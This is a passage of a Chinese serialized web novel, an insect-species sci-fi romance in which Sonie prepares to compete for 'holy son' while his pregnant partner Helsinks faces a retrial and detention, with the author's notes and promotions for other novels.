“可是我……”索涅心里的担忧不好告诉赫尔辛斯,他感觉自己仿佛要走上图泽的老路。 “您是担心等级?请您放心,您完全有实力压过梅尔加的顶级雄虫,您是难得一见的瑰宝。”雌虫认真地说。 索涅脸爆红,凑上去咬雌虫让他尴尬的唇,“你不要再这么夸我。” 很平常的对雄虫的赞美,索涅却这么不好意思,赫尔辛斯觉得他过于可爱。 “你觉得我可以?”索涅开始考虑起这条他从没想过的路。 圣子? 想起之前玩这部游戏,他还吐槽其中的圣子裹得像木乃伊。 “这一个机会,如果您不喜欢当圣子,那我们就不参加。”赫尔辛斯吻在雄虫唇间,“其实当圣子也不一定是好事……” 最后一句话,他说得含含糊糊,索涅没有听清,“什么?” “没事,您饿了吗?今晚想吃点什么?”赫尔辛斯起身,从果盘里拿起一个梨又放下。 “寓意不好,换一个。” 雌虫的话让索涅觉得他真可爱—— 作者有话说:分成三章啦[三花猫头] 第37章 圣子之变 乌尔加被俘虏后一周…… 乌尔加被俘虏后一周, 安斯族极为嚣张地派出星舰侵犯还未撤离的第三军,不到一个小时攻下一颗联盟疆域内的死星并占为据点,第三军不得已撤退至星舰。 星球的具体坐标保密级别极高, 安斯族能直接出现在休养的第三军头顶, 议会一致认为是乌尔加禁不住拷问泄密。 “我们不妨放下不切实际的希望, 乌尔加·苏利亚极有可能已经暴露我们所有部署, ”沙利·瑟约神情凝重地说, “有必要做出应对最坏状况的准备。” “乌尔加不可能叛族。”安莫因下首的一只雌虫说。 与星网上乌尔加叛族的一锤定音不同的是, 议会一直争执不下,因为安莫因力保乌尔加。 “委员长,”沙利没有理会那只雌虫, 而是直视安莫因, “请您拿出证据, 证明第三军的位置不是唯一的俘虏暴露的。” “否则,”他视线锐利, “我有理由认定您以权谋私。” 安莫因气定神闲,将三十二位议员、六十四位参议员的神色尽收眼底,他缓缓地开口:“和你相同,我也在等一个证据,一个证明乌尔加确实叛族的证据。” “我认为我们应该先讨论新的部署, 以及向圣山提出调查图泽圣子,而不是进行无理的揣测。” 他语气平缓,沙利·瑟约的脸色却霎时难看。 “各位,现在是一个需要打起精神的时刻, 虽然我们不会输,但我们也要尽量减少伤亡,”安莫因环视全场, “我提议,暂时结束对乌尔加的审判,联合军部商讨对敌,谁反对?” 议员们眼观鼻鼻观心。 “好,那么我联系边境军部。”安莫因说。 虽然安莫因没有对沙利的指控有太多反应,可其他议员此时却纷纷不住地看向沙利。 沙利努力地维持自然,面色还是有些难看。 入冬的大雪过后,圣山便整个被冰雪覆盖,直到来年四月才会慢慢消融。 安莫因走进去时,费伦斯正坐在窗前。朱红窗帘被金色流苏收束挂起,房间三面被通顶书柜占据,巨大的梯子搁置在一旁,显得这只雄虫格外渺小。 侍者为他关上房门,安莫因在门口停顿,旋即缓缓地走到办公桌前,取下斗篷放在椅背上。 他的动作轻柔至极,睡着的雄虫毫无所觉。他趴在桌上,额头埋在臂弯里,看起来是困得无可奈何,才暂停工作小憩片刻。 安莫因安静地看着他,恍惚地意识到,他和费伦斯之间的相处从未如此平和。 却是因为费伦斯睡着了。 他嘴角不禁露出一丝讽笑。 五分钟过去,雄虫的手臂微动,慢慢地抬起头,神情间还带着疲惫。 费伦斯抬眼,正巧与安莫因对视,“……你来了。” 看到安莫因悄无声息出现在这里,他并不惊讶,按下桌上按钮,侍者很快送来一壶热茶。 “找我什么事?”费伦斯拿起茶杯。 “没事就不能找你?”安莫因说完这句话立刻懊恼,他不是想和费伦斯吵架。 费伦斯淡淡地看着窗外,“没事,你就不会来找我。” 安莫因不愿承认,可似乎确实是这样,他们非必要不见面。 “那孩子怎么样了?听说你见到他了?”费伦斯只得问点自己想知道的。 他情绪寡淡,似乎被这座神圣的雪山抽干了所有感情。 “身体还不太好,不过没什么大问题,”安莫因找他也是为了这件事,“我觉得是时候了,再等下去,我怕赫尔辛斯最后掐死我。” 费伦斯眉头拧起,“……这不是件好事。” “你心软,他们可不会。”安莫因翘起一条腿,脚尖抵着费伦斯的扶手椅,“知道他的可不止我们,他没有退路,我们也没有。” “……你今天怎么这么有耐心。”费伦斯紧缩的眉头散开。 安莫因脚尖轻点他椅侧,一只手撑着扶手,指尖搭在下唇。 费伦斯低头看着他不安分的脚尖,微卷的黑发落在光洁的脖颈。 “执政官阁下,我对您身上的香味分外思念。”安莫因微微靠近他,嗓音低哑。他银白的发丝落在雄虫手背上,仿佛蝶粉扑闪。 费伦斯拂开他的发丝,起身离他远去。 擦身而过,安莫因没有嗅到哪怕一丝信息素,他眼眸幽深地盯着桌案。 “先洗漱。”雄虫远去的脚步又变得清晰,同时宽敞的书房霎时变暗。 他是去拉上所有窗帘,并关闭了任何虫进入这里的权限。 通顶书柜缓缓转动,一间藏匿于深处的卧室出现在眼前。灯光开启,房间一尘不染,床宽大厚实,只是床头碎了一角,像是被谁捏的。 安莫因轻咳一声,跟着雄虫走入卧室。 书柜旋转,暗门紧闭。若是有虫能够进来,必然会发现书房竟然空空荡荡,据说势同水火的执政官和委员长,已经双双不见踪影。 —— 萨尔纳斯节前两天,议会联合军部发出全民意见征集,最终决定向圣山申请对图泽圣子展开调查。星网彻底爆炸,各种针对圣子讨论揣测层出不穷,代号漫天乱飞,即便是之前完美隐身的其他两位圣子也没能躲过。 与此类似的,赫尔辛斯的判决又被翻出来大肆讨论。 一个是当时西沙圣子的未婚雌君,一个是图泽圣子珍爱的雌君,两位还都是王族后代,都是对安斯族作战,都是战胜但叛族,不过一个下落不明,一个据说已经死在深渊茧房。 这两件事的相似度给联盟网民一种荒谬感,权力斗争的残酷从未如此透明。 “该死!”南部梅尔加王族,艾浮正大肆地发泄着愤怒。 他的雄父坐在旁边眉头紧皱,“殿下,不要着急。” “你怎么敢让我不着急?!要不是你们太废物,至于留下马脚让安莫因察觉到?”艾浮对他雄父可丝毫不尊重。他是圣子,理应高贵于普通的梅尔加。 “你整天就知道和这些下贱的平民为伍,”艾浮厌恶地看了一眼坐在奥维旁边的雌虫,“让他滚出去!” 奥维脸色难看,“既然你这么有气势,那你自己解决吧。” 他旁边的雌虫沉默不语。 “雄父,您别和艾浮一般见识,”西沙见不能再看戏,连忙给奥维拍着背消气,“他不识好歹也不是一天两天了,这次可不是我的错,是那些平民被引动情绪,火才烧到我们身上。” “依我看,对方的目的很明显。” 奥维很快冷静下来,狠狠地瞪了一眼艾浮。 “你接着说。”他对西沙说。 西沙目光一闪,“雄父,您觉得费伦斯真的没有后代吗?” “……没有,”奥维眉头反而舒展,语气十分愉悦,“这个我可以确定。费伦斯当初捡回一个只有E级的雄蛋,实在是丢我们梅尔加的脸,我把那枚蛋扔到了垃圾舰上。” “这么点破事就被打击成这样?”艾浮语气不屑。 “我原本以为,费伦斯想推他的雄子上位。”西沙说。 “不可能,他要是有这个想法,早就这么做了,这不过是他找的理由而已。”奥维说道。他可不认为费伦斯心善。 艾浮完全不信,这老东西凭什么认为费伦斯的想法还和以前一样? 他看着自己愚蠢的哥哥那若有所思的样子,不禁在心里冷笑。新的圣子又如何?他作为梅尔加的顶级雄虫,难道还会输给不知道哪儿冒出来的乡巴佬? “雄父,不论我和艾浮谁当上执政官,您在梅尔加的声望一定会再上一层楼,还请您一定要支持我们。”西沙不会放过任何一股力量。 奥维目光扫过自己最优秀的两个后代,缓缓开口:“议会刚才传来消息,图泽失踪了。” 艾浮一顿。这事他并不知道。 看来这老东西确实有点他不知道的权力。 西沙代替艾浮问出那个他们都想知道的问题:“是被杀了,还是逃跑了?” “畏罪潜逃,”奥维语速缓慢,整理着自己的袖子,“准备好吧,看这次,谁是赢家。” 下午三点整,联盟安全事务局、议会联络部、军部、圣山联合发布最高通缉令:图泽畏罪潜逃,被剥夺圣子身份,赏金五亿星际通缉。 无数虫子不敢置信,在星网上谩骂联盟诬陷圣子。 联络部冷漠发言:“即便把他五花大绑送到你们面前,他也是安斯族,无法让你们生出蛋。” “……” 确实如此,乌尔加独占图泽六年,连枚雌蛋都没生出来。 索涅对此有所疑惑,因为从玩家的角度看,安斯族和虫族长得完全一样,甚至都有玄幻的精神力和隐藏在皮肤下的大翅膀。 “安斯族无论雌雄都有骨翼,两族基因是不同的,他们是胎生。”赫尔辛斯说。 索涅心虚地看了眼赫尔辛斯的肚子,他也是胎生的来着。这么说来他是魂穿?才能让只能生蛋的赫尔辛斯怀上崽崽。 “您不用担心,”赫尔辛斯感受到他的情绪,还以为他对实力不自信,“圣子选拔有固定的条件,您完全符合。” “可是如果我选不上,到时候我们可就成为眼中钉了。”索涅不得不考虑退路。 “不行,我要继续提升实力,期末考试成绩还没出来,选拔对文化成绩有要求吗?我之前的成绩很差……”索涅认为当官一定会考察学历和犯罪记录。 “您是圣托的学生,无需考虑这些。现在那两个,他们都是花钱进的圣托。”赫尔辛斯笑着说,“图泽倒不是。” “……”图泽是不是还重要吗?—— 作者有话说:啊啊啊感谢奶茶宝宝给我投了那么多月石[玫瑰][玫瑰]啵啵啵啵啵[让我康康] 推推预收种田文《夫郎似宝》 宋聿熬夜肝论文,不慎一朝猝死,穿到一个病死的穷书生身上。 书生无身家无才气,和别人去秦楼楚馆却被倌儿嘲笑,回来一气之下把自己生生怄死了。 宋聿刚想说还好原主没老婆,一扭头一个晒得黑黢黢的少年站在卧房门口。 “相公,吃饭了。” ……夭寿了! 原主不仅有老婆,还是个男老婆!靠男老婆挣钱供他读书,这家伙还有脸逛花楼! 宋聿:死得好啊!妙哉!正好我还没活够。 一向嘴硬心也硬的宋聿,听少年叫他相公,却越听越舒坦。 “相公,药熬好了。” “相公,包子好香。” “相公,……” 许金:相公。 宋聿:爽! 穿越书生攻&老实双儿受,又名拖家带口的古代书生日常 第38章 旧案重审 起初,对于赫尔辛斯…… 起初, 对于赫尔辛斯怀了一枚蛋这件事,索涅是没什么实感的,直到他某天发现赫尔辛斯的小腹好像比以前胖了点。 雌虫的虫纹下方一直呈现微微鼓起的状态, 索涅心知肚明那皮肤下方是生殖腔。当那块柔软的部位变得有些发硬后, 他脑海里顿时浮现一颗圆滚滚的蛋, 正被血肉包裹着安然成长。 这种感觉是很奇妙的。 “雌蛋会比雄蛋大一两公分。”赫尔辛斯撩起衣摆给雄虫看他的腹部。 索涅首先瞥到的是那片金色缠缠绕绕的纹路, 他连忙把雌虫的衣服盖回去, 表情严肃, “小心着凉。” 雌虫的身体根本不用担心这些,但赫尔辛斯也不会提醒索涅。 “真的不疼吗?”索涅看了一会儿书,又忍不住问他。 赫尔辛斯吻在他唇上, “您刚才说要专心学习。” “……”索涅承认他总是想抱抱摸摸自己的雌虫, “赫尔辛斯……” 他声音闷钝。索性不看书了, 转身将脸埋进雌虫怀里。 正在这时,赫尔辛斯的手环震动, 他随手打开视频投影,莫尔亚的身影出现在半空中。 还没来得及爬起来的索涅:“……” “……”莫尔亚嘴角一抽,这什么诡异的姿势,“索涅阁下下午好。” “赫尔辛斯,有一个好消息一个坏消息, 你想先听哪个?”他似乎坐在办公椅上。 索涅迅速爬起假装去倒水。 “……你要是没有重要的事,我就挂了。”赫尔辛斯缓缓地说。 “别啊,我又不是故意打搅你们,”莫尔亚翘起腿搭在桌子上, “先说坏消息,你现在是个黑户。” “……说点儿我不知道的。”赫尔辛斯说。 “好消息就是,”莫尔亚声音轻缓, “乌尔亚的案件里审出点东西,你的案件要提案重审了。” “厄林特那老小子,还以为我不知道你活着,嚣张得很,”莫尔亚非常不悦,“要不是你被领走,我过几天就能炸了深渊茧房。” 几乎每个星球都有一个深渊茧房,天知道他排查了多久才找到赫尔辛斯,还没动手呢,好友就被雄虫领走了。 赫尔辛斯下意识看了眼厨房,雄虫正俯身研究冰箱里的水果。 “……多久,议会有什么反应?” “还有十五天,议会那边有我,你不用担心,现在最重要的是找证据,目前还不够,”莫尔亚说话轻而快,“我这么多年都才抓住一点尾巴,不过你的雄虫倒是带来个好机会。” “不行,”赫尔辛斯想也不想立刻拒绝,“我自己的事,与阁下无关。” “现在最高法庭已经在走程序,十五天抵达ZY003,厄林特那小子的特讯被我拦截,最高法还不知道你到底死没死,”莫尔亚说,“你决定吧,是立刻进入重审,还是等你的雄虫竞选完?” 两者都有好有坏。 立刻进入重审,他会被暂时监禁,恢复身份的速度会更快。那些曾经害他的虫子知道他还活着,并且雄主还在竞选圣子,就必然会对索涅下手。 延迟十五天,就可以为索涅争取时间…… “你可要想好,就算你已经化成灰,那群虫子也不会让你恢复荣誉,谁知道他们会在十五天里干出什么事——” “什么十五天?” “……” 索涅不知道什么时候站在赫尔辛斯身后,手里端着一盘水果。 “……您饿了?我给您做下午茶。”赫尔辛斯起身。 “吃点水果就行。”索涅轻轻地把他摁回去,果盘放在桌上,发出清脆的响声。 索涅慢条斯理地把橘子递到赫尔辛斯唇边,看着雌虫吃掉。 就当两只虫子以为他什么都没听到时,索涅突然又问:“你们刚才说什么十五天?” “莫尔亚跟我说,十五天后圣山会宣布选拔新圣子。”赫尔辛斯面不改色地说。 “是吗,”索涅狐疑地看着他们,“他就为了说这点事儿?这事儿星网上早就传得沸沸扬扬了。” “而且你不是说又一个好消息一个坏消息,另一个消息是什么?我刚才好像听到了‘监狱’两个字。” 索涅黑白分明的眼睛穿过投影扎在莫尔亚身上,“到底怎么回事?” 莫尔亚:“……赫尔辛斯,我有点事,等会你再回复我。” 他说完立刻下线,多一秒都不待。 “赫尔辛斯?”索涅又回身看着雌虫,“你们眼神不对,别骗我,是不是有危险?” 赫尔辛斯心中难言。 他和莫尔亚小心翼翼压低声音,雄虫确实没听到什么,但竟然一个照面就发现端倪,提的问题这么犀利。 难道他和莫尔亚真的老了?不中用了? “您真是敏锐,”赫尔辛斯叹了口气,“其实与您无关,反而是我,不断地给您带来危险。” “乌尔加被安斯族俘虏后,第三军在安斯族的卧底发现,安斯族大皇子频繁和波林星盗团通信。”赫尔辛斯握住索涅的手,缓缓地抱住他的雄虫,下颌搭在雄虫肩膀上,轻轻闭上眼。 “六年之前,波林星盗团还是联盟一支合法的星际商队,因间谍行为被军部通缉。” 他的声音轻得像一阵微风。 “最高法庭已经决定将六年前对我的判决撤回重审。” 索涅瞳孔无声的睁大。 “提案重审?” 他立刻想要推开雌虫,却被雌虫用力搂紧。 “只要推翻原判,是不是就能恢复你应得的荣誉,恢复你的身份?” 雌虫安抚地蹭着索涅颤抖的肩膀。 “是,我将恢复军衔,但这其中还有很长的一段路,推翻原判并不容易。”雌虫说。 “赫尔辛斯……”索涅忍不住带了些鼻音,“那为什么,要瞒着我?你们刚才不准备告诉我,西沙?其他军团?还是你的兄弟法门?他们不想让你回来?” 耳边传来叹息声,“您又猜中了。” 雌虫从他怀里离开,垂下的眉眼温柔,“厄林特以为我和安莫因不合,没有上报我被领走的记录,最高法和军部的星舰还有十五天抵达ZY星系。” “莫尔亚认为,应该尽快上报我就在主星的消息,立刻进入重审。” 索涅看着他垂下的眼睫,眉心蹙起,“你不同意?” “如果上报,您就会进入梅尔加的视野,他们性格阴险防不胜防,您会受到威胁。”赫尔辛斯说,“这本来是我的事情,不应该将您拉下水。等您十五天后通过筛选,圣山会着重保护您,到时我再上报位置。” 索涅并不是傻子。 “既然他们阴险,十五天内能给你造出多少个伪证?编出多少个罪名?舆论能够发酵到涌进法庭的大门,淹没最高法的判桌!!!” 他的语气像高高扬起的箭矢,被欺骗的怒气拉满弓弦,看到那双因为背负冤罪而变成灰绿色的眼睛,又如同被戳破的气球,在雌虫额前徒劳地下落。 “……艾浮知道你在我这儿,离其他虫子知道也不远了,不用徒劳地掩盖。”索涅努力地平复情绪,却仍旧心里不痛快,“什么叫你的事?赫尔辛斯,我以为我们早就是一体,不会去计较什么你我。” 雌虫望着他。 “赫尔辛斯,”索涅对他生不起气,他将雌虫搂进怀里,“做一切对你最有利的事,我会跟在你身后,努力追上你。” 赫尔辛斯侧头看着他苍白的脖颈,眼帘垂下,就这么靠在有些瘦弱的肩膀上。 雄虫是一种多么可怕的生物啊。 吸引着他耽溺沉沦,甚至渴望挖出自己的心脏献给他。雄虫会捧着他鲜血淋漓的手,满眼心疼地将心脏放回他的胸腔,用唇舌为他治愈伤口。 而他,将为这份心疼而更加疯狂地爱着索涅。 索涅抚摸着雌虫柔滑的长发,雌虫潮湿温热的气息落在他侧颈。 他的目光落在窗外,巍峨雪山被浓重的乌云掩映,风雪交加,看不清高耸的山顶。 索涅手上安抚着感性的雌虫,眼里却露出一丝阴翳。 他必须成为圣子,为了赫尔辛斯,为了小虫崽崽,也为了他自己。 —— “你说什么?!!提案重审?!!”一道暴怒的声音在殿内回响,伴随着无数件瓷器碎裂的刺耳响声。 “我怎么跟你说的!把尾巴处理干净!!!”艾浮嘶吼怒骂。 一只雌虫跪在下方,额头血液顺着颌骨滴在地上。 他俯身行礼,佁然不动。 雌虫起身,无惧艾浮阴狠的脸色,“殿下,我已经清理干净。” “那为什么安莫因还会抓到漏洞?你告诉我,你是不是也想让那个该死的雌虫回来抢走你的王虫之位?!”艾浮冷笑一声,讽刺地看着他,“比起你,他确实很适合统领恩其顿。” “可他是西沙殿下的未婚雌君——哦,前未婚雌君,”法门淡然的语气更加激怒艾浮,“听说您将他送给了一只A级雄虫?” “那又如何?”艾浮恼羞成怒,“穷乡僻壤出来的虫子,根本不足为惧!” 法门眼里划过一丝讽刺,“只要您不再做出联合星盗攻击圣托号这种事,我相信他不足为惧,否则,刺杀高级雄虫将成为压死我们的最后一根稻草。” “啪!” 雌虫偏过头。脸上一片红痕。 “你没有资格管我!我才是圣子!”艾浮最恨法门这副说教的语气,“做好你该做的事,不要忘记一名恩其顿的使命。” 六年前西沙那么厌恶那只光芒耀眼的雌虫,却不知他最大的仰仗就是赫尔辛斯的威望。 这下好了,西沙倒是隐匿起来,他艾浮却先后两次和赫尔辛斯为敌,万一对方翻案成功,他必将成为对方的活靶子。 出于一种莫名的恐惧,艾浮不认为法门斗得过赫尔辛斯。 他现在唯一庆幸的是,他是一只梅尔加,他还有王族的支持。 第39章 暂时监禁 “真怀上了?”恩修匪…… “真怀上了?”恩修匪夷所思地问索涅。 索涅点头, “是枚雌蛋。” “没想到我还有预言家的潜质,”恩修乐乐呵呵,“莱昂兹得高兴死, 他最喜欢虫崽子。” “那家伙被派去跟最高法庭弄什么事儿, 好像要去边境, 不知道什么时候回来。”恩修抿着热气腾腾的红茶。 索涅沉默:“……应该快了。” “不说这个了, 我也正好有事问你, ”恩修神情严肃起来, “索涅,你想过竞选圣子吗?” “以你的等级,我觉得可以一试。”他对索涅具体的实力不太清楚。 但索涅在读机甲战斗, 单纯从智商和武力的角度出发, 他觉得老乡完全有机会。 索涅没想到连恩修都会把竞选圣子这事想到自己身上。 “我已经在准备, ”索涅说,“现在每天在深度决斗模拟试炼三小时, 可惜这已经是我的极限,要是能再多点时间就更好了。” 恩修:“……哥们儿,我还是觉得命比较重要。不过你要是能一天能试炼三小时,我对你相当有信心。” 索涅失笑,“你们怎么都这么说。” 好像就他自己在焦虑。 索涅一般上午、下午、晚上各训练一小时, 每小时又分成三段,才能赶在精神力耗尽之前下线。 今天他上线,莫名感觉到一丝不同寻常。 他还是穿着雌雄通用的普通衣服,相貌也不算惹眼, 怎么这么多虫子偷偷摸摸地打量他? 索涅赶时间,他不多想,只以为是自己昨天跳的排名太多, 引来了一些关注而已。 他进入模拟场,已经有多只雄虫等在里面。最近这里非常火爆,索涅也不愁没有对手。 他和八只雄虫的身体上闪过一丝波动,眨眼间就已经换了一副场景,硕大的土黄色虚拟气态行星横亘在眼前,令人窒息的压迫感扑面而来。 索涅操纵星舰迅速后退,星舰划出一抹月牙般的尾迹,直奔旁边磁流线崎岖的小星系。 如何迅速判断一颗小星球是否宜居? 当然是颜色够复杂。如果是单一的土黄色、白色、灰色,即便有原始生命基础,也要花费大力气改造。这不是模拟训练的目的。 索涅反应极快,冲在最前面将星球标记为实心圆,然后放下监测卫星,迅速寻找下一个目标。 和他一组的雄虫刚控制星舰摆脱气行星的引力,磁流图展开,他们发现周围三分钟内已经出现十几个标红位置。 “……”这谁疯了吗?怎么可能这么快? 一定是乱编的。 磁流图对精神力有要求,往往等级越高精神丝越细越坚韧,能够阅读的磁流图精度就更高,顺着磁线流动发现的天体就越多。 他们都是先找到一个恒星,然后控制星舰抵达该星系,才慢慢地挨个找宜居星。 然而每次他们刚抵达一个绿色星球,就发现磁流图上已标红,星球旁边还有个眼熟的机械卫星。 “……”到底是谁! 是不是上次的结果没刷新?但是不应该啊,这么低级的错误怎么会发生在深度决斗里…… 二十分钟结束,索涅第一阶段共标记一百五十二颗疑似宜居星。他退出虚拟宇宙,发现几只雄虫正站在巨大的光屏前瞠目结舌。 “三位数的星球?!虫神啊……就算他能标记这么多,第二关看得过来吗?”雄虫们彼此探究地看着。 索涅下线补充精神力,他从游戏仓中坐起来,赫尔辛斯正在旁边和莫尔亚通话。 “……我会说的。”雌虫看到他醒来,立刻挂断。 索涅站起身松松筋骨,手腕肩颈发出一阵骨节摩擦的脆响。他似笑非笑地看着雌虫,“又干什么呢?不想让我听到?” 赫尔辛斯给他端来一杯水,“我本来就准备告诉您。” “那就说吧。”索涅拉着他坐在沙发上,掀起他衣服下摆,摸着那块发硬的皮肤。 赫尔辛斯的小腹被撑得发白。索涅看着替他害怕。 “最高法的星舰已经从B星系出发,即将穿越BA虫洞,莫尔亚明天就会上报我的位置,”赫尔辛斯看着雄虫蹙起的眉心,不禁伸手揉开它们,“我……可能要被监禁一段时间。” “监禁?”索涅的手一下子顿住,“为什——要多久?有没有办法不监禁?” 赫尔辛斯将一只精神力补充剂递给他,然后摇了摇头。 “六年前我在最高法待过一段时间,您不用担心,莫尔亚也会注意照看我。” “百密终有一疏。”索涅喝下补充剂,后颈皮肤迅速发热,等待这块皮肤冷却,他又喝下一支营养剂。 “重审的整个过程,我将不在您身边,您一定要照顾好自己。”赫尔辛斯不太相信索涅独自生活的能力。 “真的没办法?”索涅不信,他记得雄虫的态度可以决定很多事。 “您忘了,我的罪名除了叛族,还有伤害雄虫。”赫尔辛斯轻声说,“梅尔加已经和我为敌,他们不会放过这个现成的武器。” 赫尔辛斯心里轻叹。艾浮现在将他和索涅视为掌心木偶,却没想到已经被联盟除名的自己竟然还有翻身的一天,肯定会从索涅身上下手。 艾浮知道的事不多,但他恰恰知道赫尔辛斯对索涅的感情。 赫尔辛斯只需要稍微一想,都能猜出艾浮下一步会怎么做。 他唯一预料不准的,就是艾浮的愚蠢程度。 索涅看着他温柔的眉眼,一股深深的无力感几乎将他淹没。 最后一个宁静的夜晚,雌虫窝在他身边。他们已经将灰绿色的染料洗去,雌虫苍金的眼睫搭在眼睑上,随着呼吸轻微颤动。 虫蛋的大小已经不可忽视,在雌虫小腹形成一个手掌大的凸起。按照雌虫平均五个月的怀育期,他们的雌虫崽崽最多还有两个月就要降生。 索涅睁眼到天亮,六点的钟声刚敲响,他心里就开始紧张,起床坐在二楼露台等着那群虫子。 果然不过二十几分钟,十几架重装飞行舰低空盘旋在他家上空,联合共振的嗡鸣声让索涅烦躁不已。 他将加厚隔音罩套在雌虫耳朵上,悄悄来到楼下,打开院门。 “赫尔辛斯·恩其顿,你的位置已被锁定,请尽快——” “雄虫阁下?!”一只穿着军服的雌虫正要大声宣布逮捕令,冷不防与索涅对上视线。 雄虫眼瞳幽冷,额发遮住部分眉眼,语气冷淡:“干什么?” “阁、阁下,我们是来抓捕罪犯,请您——” 雌虫话还没说完,被大步走来的高个银发军雌一把掀到旁边。 “委员长……”雌虫讪讪地走到后面。 “想必您就是索涅阁下,”安莫因幽深的眼神落在索涅身上,“您好,我是议会现任委员长安莫因·苏利亚。” “因证据变动,最高法决定将赫尔辛斯·恩其顿的判决撤回重审,”一派优雅的委员长抬头看向院内,“请问,他是住在这里吗?” “……是,”索涅从牙缝里挤出声音,“但他还没睡醒,你们来得太早了。” “抱歉,”安莫因从善如流,“那请问我们方便进去等他起床吗?” 索涅:“……” 其他虫:“……”老大你有点冒昧了。 正当他们在门口僵持时,房屋大门被打开,赫尔辛斯竟然已经穿戴整齐。 他身上是萨尔纳斯节时索涅送给他的长袍,顺滑的白色蛛丝与披散的长发相得益彰。 “您怎么不叫醒我?”赫尔辛斯走到院门前,看到安莫因竟然勾起唇:“委员长,好久不见。” 院外的虫子看清赫尔辛斯的脸,瞬间露出诧异和震惊。他们都见过从前的赫尔辛斯。 深渊茧房真不是虫待的地方,堂堂王虫都会变成这副样子。 “赫尔辛斯,我可以陪着你一起去吗?”索涅扯住雌虫的衣袖。 “……那要看委员长阁下的意思了。”雄虫情绪不好,赫尔辛斯安抚对着他笑笑。 “我还能怎么办呢?”安莫因看着他们,侧身让开道路,“那么,请吧。” 索涅带着赫尔辛斯回去拿了两份昨天烤的苹果派。 最高法的抓捕按理来说和安莫因扯不上关系,但他和赫尔辛斯同为王虫,以前还共事过,临时被拉来坐镇。 他坐在旁边,听着那边两只虫子咔嚓咔嚓的声音,不禁眉头压低。 没看到这儿还有只虫子吗?都不知道给他吃一口。 没良心的家伙。 赫尔辛斯颈上又戴上了那个锁环,索涅怎么看怎么不顺眼。 “吃饱了吗?”他又递给雌虫一瓶奶。 安莫因服了这两只虫子,他也是头一次知道会有虫在最高法的重型抓捕舰里吃早餐,还这么卿卿我我。 飞行舰滑进审讯大楼,廊道尽头,索涅依稀看到几只虫子站在那里。 待到跟前,他眉心狠狠地拧在一起。 “他怎么来了?”赫尔辛斯问安莫因。 “他非要来,我能有什么办法。”安莫因说。 舱门打开,西沙那张伪善的脸出现在他们面前,隔着厚厚的防护窗试图和赫尔辛斯说话,看起来到时情意绵绵。 等看到索涅垮着一张脸跟在赫尔辛斯身后,西沙顿时有点笑不出来。 艾浮不是说这只雄虫不把赫尔辛斯当回事吗? 他被索涅凉薄的眼神看得浑身发毛,咬了咬牙,还是跟在他们身后,跟着进了审讯室。 他和索涅一虫一张扶手椅坐在室外,审讯部还端来一壶热茶几盘糕点。 “索涅,”西沙在窒息的静寂中熬了一会儿,终于忍不住开口,“只要赫尔辛斯回到我身边,我可以保下他。” 索涅扭头看着他。 西沙被他黑黢黢的瞳仁盯得后背发凉。 良久,这只在他眼里远不如他的雄虫开口,眼里露出切实的、可恶的疑惑:“曾经他不是在您身边么?” 西沙脸色难看。 他简直想大吼:是!我曾经是个蠢货!—— 作者有话说:怎么会有这么逊的人,写不出来干了一瓶rio,瞬间上脸狂流汗[化了] 顺便推预收《深情男配他不干了》 死后五年,慕年一直徘徊在自己坟墓上,无论阴晴雨雪,每年的五月十二号,都会有一个男人穿着一身黑色西服来祭奠他。 他是霍临西,前男友口中心狠手辣视权如命的大哥。 慕年不记得自己和霍临西有什么难忘的过往,值得对方如此铭记他。 他和霍临西一年见一次面,春去秋来,霍临西最后住进了他旁边的小匣子。三天后,慕年亲眼见到自己当初舍命救下的人撅开了霍临西的墓。 慕年坐在他和霍临西的坟头,暴雨之夜被一道闪电从头顶劈中,刹那间穿回六年之前。 他第一次到霍家去,正在追求霍家三子霍明期,表白失败,冒着大雨从霍家离开。 慕年这一次没有被失望裹挟,没有只顾着离开,而是回头看了一眼楼上。 一个人正在窗边目送他。 他们对视了好久。 霍临西打开窗户,声音混杂着雨声:“进来避避雨再走吧。” 慕年毫不犹豫地折回霍家大门。 他有一些事要问霍临西…… 慕年&霍临西 曾经年少轻狂如今惜命惜情学生攻&曾经情深不寿如今被逼养生霸总受 第40章 珀斯晶体 审讯室内,刺眼的惨白灯…… 审讯室内, 刺眼的惨白灯光照在雌虫身上。 “真没想到你还有回来的一天。”安莫因好整以暇地坐在一旁,翘着腿姿态悠闲。 最高法的五名审讯官面面相觑。果然如同传闻中一样,现任委员长与这只前王虫不和。 想来也是, 毕竟之前赫尔辛斯·恩其顿可是安莫因最大的对手, 要不是出了那种事, 最后谁成为委员长还不一定。 他们怀疑, 安莫因此时还坐在这里不走, 就是为了干扰他们审讯, 把曾经的对手送回监狱。 “那么,赫尔辛斯·恩其顿,在审讯正式开始前, 我们还有几个问题想问你, ”为首的金发雌虫走到赫尔辛斯面前, “请问你作为一个黑户,是怎么抵达主星的?” “据我所知, ”他缓缓地走到赫尔辛斯背后,打开背顶灯,“你应该是被三叉戟星盗团劫走,当时还受了伤?” “不管你曾经有多强大,应该是不可能从远在外星系的三叉戟逃出来, 悄无声息出现在主星。”他的语气饶有兴致,“可以给我描述一下那是怎么做到的吗?” 灯光之下,这只雌虫的一切微表情无所遁形,但令审讯官遗憾的是, 他并未发现什么有用的信息。 “这很简单,”赫尔辛斯微阖着眼睑,“他们让我将索涅阁下诱导到外星系, 他们的目标并不是我,只是抓错了而已。” 审讯官目光瞥向心电仪。毫无异常。 “就凭你?索涅阁下刚从偏远星来到主星,又考入圣托读书,怎么会跟你去外星系?”审讯官坐在赫尔辛斯对面。他全身隐藏在暗处,观察着雌虫的一举一动。 “好吧,假设三叉戟真的放弃一只捏在手心的王虫,而让你来绑架A级雄虫,那么,你又是怎么进入主星的?” “这是第几个问题?”赫尔辛斯抬眼看着他。 那双苍金色的眼睛仿佛穿过阴影,将他心里的计划看得一清二楚。 审讯官一顿:“算第三个。” “我可以认为已经进入正式的审讯?” “……回答我的问题。”审讯官语气露出一丝掩盖不住的不悦。 安莫因平静地看着他们。 但审讯官无法忽视他。 “委员长阁下,可以请您先出去吗?”他客气地说。 “不行。”安莫因说。 审讯官:“……”您官儿大,您说了算。 “三叉戟当然不傻,”赫尔辛斯强光刺激得眼泛虚影,语气平缓,“所以他们知道无法掌控我,给我安排了一个假身份混进艾浮圣子的守卫队。” “只要我能将索涅阁下带给他们,他们就会给我精神力抚慰剂。” “精神力抚慰剂?”审讯官喃喃,旋即眼神一冷,“就算他们让你抚慰剂成瘾,这种东西你会弄不到?况且,王虫的自控力还没有这么弱。” “可惜的是,他们直接在我身体内植入了一枚珀斯晶体。”赫尔辛斯平淡地说。 审讯官瞳孔骤缩。 